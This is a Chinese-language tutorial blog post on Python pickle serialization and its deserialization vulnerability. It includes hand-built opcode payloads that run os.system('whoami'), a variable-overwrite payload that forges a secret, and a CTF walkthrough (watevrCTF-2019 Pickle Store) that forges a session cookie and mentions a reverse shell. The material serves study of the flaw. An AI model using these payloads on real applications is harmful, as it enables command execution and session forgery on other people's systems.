首页 > 编程语言 >Python pickle

Python pickle

时间:2024-10-21 21:43:37浏览次数:10  
标签:__ Python self opcode print 序列化 pickle

Python pickle

  • pickle在python中 实现对象结构的 序列化和反序列化
  • python序列化(Pickling)是一个将python对象层次结构转换为 可以本地储存 或者 网络传输的 字节流的过程
  • python反序列化(unpickling) 是将字节流还原为对象层次结构

数据序列化:就是把不能直接储存的数据 储存到磁盘中,从而延长生命周期

python 常用的系列化库:picklejson

pickle模块可以将任意对象序列化成为二进制的字符串,并写入文件中,还可以从文件中读取并且转为写入时的类型

Pickle工作原理

由一串串独立的opcode(指令集)组成,我们可以通过手写opcode来构建

opcode

OpCode全称Operation Code(操作码)如十六进制数0x90

常用的opcode

参考链接

基础方法

方法 作用
dump 序列化写入文件
load 读取文件反序列化
dumps 序列化返回对象
loads 反序列化对象

序列化函数

pickle.hump(obj,file,[protocol])函数

接受三个参数,第一个参数包含要储存在文件中的对象,第二个参数事 以二进制形式写入时 所需文件时 获得的文件对象,第三个参数表示序列化协议

举个栗子:

opcode=b'''cos
system
(S'whoami'
tR.'''

cos
system

(S'ls'

tR.

字节码为c,形式为c[moudle]\n[instance]\n,导入os.system。并将函数压入stack

字节码为(,向stack中压入一个MARK。字节码为S,示例化一个字符串对象'whoami'并将其压入stack

字节码为t,寻找栈中MARK,并组合之间的数据为元组。然后通过字节码R执行os.system('whoami')

字节码为.,程序结束,将栈顶元素os.system('ls')作为返回值

import

opcode=b'''cos
system
(S'whoami'
tR.'''

pockle.loads(opcode)

反序列化函数

pickle.load(file)函数

一个实例

image-20241016210700522

image-20241016211005174

举个栗子,简单看一下数据序列化的样子

image-20241018152949984

参考文章

__getstate__函数

在序列化时调用,指定序列化 某些参数在反序列化时恢复参数

__setstate__函数

反序列化是配合 __getstate__函数调用

import pickle

class MyData:

    def __init__(self, x):

        self.x = x
        self.y = self.sqrt(x)

    def sqrt(self,x):
        return x**x

    def __getstate__(self):
        self.state = "ok"
        print("enter getstate")
        #  self.__dict__存储关于self.xxx的一些东西
        odict = self.__dict__.copy()
        del odict['y']
        print(odict)
        return odict

    def __setstate__(self, input):
        print("enter setstate")
        print(input)
        self.x = input['x']
        self.y = self.sqrt(self.x)

obj = MyData(3)
# 序列化
print("序列化")
dumped = pickle.dumps(obj)
# 反序列化
print("反序列化")
loaded = pickle.loads(dumped)
print("反序列化结果", loaded.y)

__reduce__方法

用于对象的序列化,如果 __reduce__方法存在的话,pickle模块会调用对象的 __reduce__方法

__reduce__方法返回一个元组,包含两个元素:一个callable和一个包含传递callable参数的元组,callable通常是一个函数或者类的构造函数

import pickle

class MyClass:
    def __init__(self, value):
        self.value = value

    def __reduce__(self):
        # 返回一个元组,包含两个元素:
        # 1. 一个callable,用于从pickle状态重建对象
        # 2. 一个元组,包含传递给callable的参数
        return (self.__class__, (self.value,))

# 创建一个对象
obj = MyClass(42)

# 序列化对象
serialized_obj = pickle.dumps(obj)

# 反序列化对象
deserialized_obj = pickle.loads(serialized_obj)

# 输出反序列化后的对象
print(deserialized_obj.value)  # 输出: 42

image-20241018145023002

参考教程

Pickle反序列化漏洞

当我们反序列化一串未知的二进制字节流时,可能会引发恶意的代码执行,因为无法确定该二进制字符串是否是恶意代码

命令执行

手写opcode构造payload,达到一次实现多个命令的结果

import pickle
 
opcode=b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)
 
#结果如下
xiaoh\34946
xiaoh\34946

实例化对象

import pickle
 
class Person:
    def __init__(self,age,name):
        self.age=age
        self.name=name
 
 
opcode=b'''c__main__
Person
(I18
S'Pickle'
tR.'''
 
p=pickle.loads(opcode)
print(p)
print(p.age,p.name)
 
###
<__main__.Person object at 0x00000223B2E14CD0>
18 Pickle

变量覆盖

sessiontoken中,常常储存了一些用户信息,因此我们可以通过变量覆盖实现身份伪造,伪造tokensession

#secret.py
secret="This is a key"
import pickle
import secret
 
print("secret变量的值为:"+secret.secret)
 
opcode=b'''c__main__
secret
(S'secret'
S'Hack!!!'
db.'''
fake=pickle.loads(opcode)
 
print("secret变量的值为:"+fake.secret)
 
###
secret变量的值为:This is a key
secret变量的值为:Hack!!!

[watevrCTF-2019]Pickle Store

image-20241017213652746

伪造session

#coding:utf8
import pickle
import base64

result = pickle.loads(base64.b64decode(b'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAMmE0MDIxOTA4NmI0YTk1MDNkYWNkNjc1OTRlODg1NjhxBXUu'))
print(result)	#使用b'...'是为了确保处理的是二进制数据

image-20241018152328358

当尝试买了个十块钱的东西后,cookie发生了变化

image-20241018152246453

hmac验证,利用反弹shell

image-20241018172147904

cat flag.txt得到flag

标签:__,Python,self,opcode,print,序列化,pickle
From: https://www.cnblogs.com/Yolololo/p/18491450

相关文章

  • Python+Django智慧农场管理系统
    收藏关注不迷路!!需要的小伙伴可以发链接或者截图给我项目介绍互联网日益成熟,走进千家万户,改变多个行业传统的工作方式。智慧农场管理以用户需求为基础,借由发展迅猛的互联网平台实现智慧农场管理的信息化,简化旧时智慧农场管理所需的纸质记录这一繁杂过程,从而大幅提高智慧农......
  • Python+Django智慧养老系统-养老信息服务平台
    收藏关注不迷路!!需要的小伙伴可以发链接或者截图给我项目介绍伴随着我国社会的发展,人民生活质量日益提高。互联网逐步进入千家万户,改变传统的管理方式,智慧养老系统-养老信息服务平台以互联网为基础,利用Python技术,结合Django框架和MySQL数据库开发设计一套基于B/S的智慧养老......
  • Python+Django学生宿舍卫生检查奖惩管理系统
    收藏关注不迷路!!需要的小伙伴可以发链接或者截图给我项目介绍在当今高等教育日益普及的背景下,学生宿舍作为学生学习与生活的重要场所,其管理效率与服务质量直接影响到学生的日常体验与校园和谐。随着学生数量的不断增长,传统的人工管理方式逐渐显露出效率低下、信息更新滞后......
  • Python+django农产品销售商城系统
    收藏关注不迷路!!需要的小伙伴可以发链接或者截图给我项目介绍在当今社会,随着互联网的普及和电子商务的迅猛发展,传统农产品销售模式正面临着前所未有的挑战与机遇。传统的农产品销售往往依赖于中间商,导致价格不透明、流通环节多、成本高企,同时农民与消费者之间的信息不对称......
  • python安装ta-lib失败
    python安装ta-lib失败,有可能会报错Requirementalreadysatisfied:numpyinc:\users\viruser.v-desktop\.virtualenvs\stockstudy-jtfklg50\lib\site-packages(fromta-lib)(1.24.2)Buildingwheelsforcollectedpackages:ta-libBuildingwheelforta-lib(pyproje......
  • python+flask计算机毕业设计高校实验室安全应急管理系统(程序+开题+论文)
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容一、选题背景关于高校实验室安全应急管理系统的研究,现有研究多侧重于实验室安全管理的常规方面,如设备管理、人员管理等。专门针对高校实验室安全应......
  • python+flask计算机毕业设计高校实验室管理系统(程序+开题+论文)
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容一、选题背景关于高校实验室管理的研究,现有研究主要集中在设备管理或人员管理等单一模块为主1(山东大学实验耗材管理服务系统)。专门针对涵盖学生......
  • 基于深度学习CNN算法的花卉分类识别系统01-python-带UI-包配置
    项目基本介绍:【算法】深度学习CNN网络mobilenet算法网络【环境】python>=3.8pytorchopencvpyqt5matplotlib(含详细环境配置教程视频)【文件】训练、预测全部源代码、训练好的模型、数据集、模型评价指标:训练acc/loss曲线图和混淆矩阵图、U1界面源码及源文件、环境配置......
  • python如何创建类
    python里,类是面向对象的基础。第一种创建类的方法:class关键字#第一种方法创建类class A(object):     def __init__(self, name):        self.name = name f = A("lkk")这样就简单完成了一个A类的创建,我们尝试打印一下f的类型:print(type(......
  • python基于深度学习算法的手写汉字识别-带UI界面-包环境配置运行
    1)项目基本介绍网络:深度学习CNN网络简单搭建的CNN网络环境:python>=3.5tensorflow2opencvpyqt5文件:训练预测全部源代码、训练好的模型、数据集可对20个汉字进行识别检测,配置好环境即可使用。......